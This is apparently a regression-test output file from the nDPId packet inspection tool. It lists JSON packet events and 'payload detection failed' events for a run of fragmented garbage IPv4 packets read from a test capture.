+00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5715,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170053,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5715,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5716,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170066,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5716,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5717,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170078,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5717,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5718,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170094,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5718,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5719,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170107,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5719,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5720,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170120,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5720,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5721,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170134,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5721,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5722,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170149,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5722,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5723,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170159,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5723,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5724,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170168,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5724,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5725,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170213,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5725,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5726,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170228,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5726,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5727,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170244,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5727,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5728,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170258,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5728,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5729,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170270,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5729,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5730,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170284,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5730,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5731,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170298,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5731,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5732,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170310,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5732,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5733,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170324,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5733,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5734,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170337,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5734,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5735,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170351,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5735,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5736,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170363,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5736,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5737,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170376,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5737,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5738,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170388,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5738,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5739,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170402,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5739,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5740,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170417,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5740,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5741,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170429,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5741,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5742,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170442,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5742,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5743,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170455,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5743,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5744,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170470,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5744,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5745,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170482,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5745,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5746,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170494,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5746,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5747,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170507,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5747,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5748,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170521,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5748,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5749,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170533,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5749,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5750,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170546,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5750,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5751,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170559,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5751,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5752,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170572,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5752,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5753,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170587,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5753,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5754,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170599,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5754,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5755,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170612,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5755,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5756,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":170624,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":5756,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 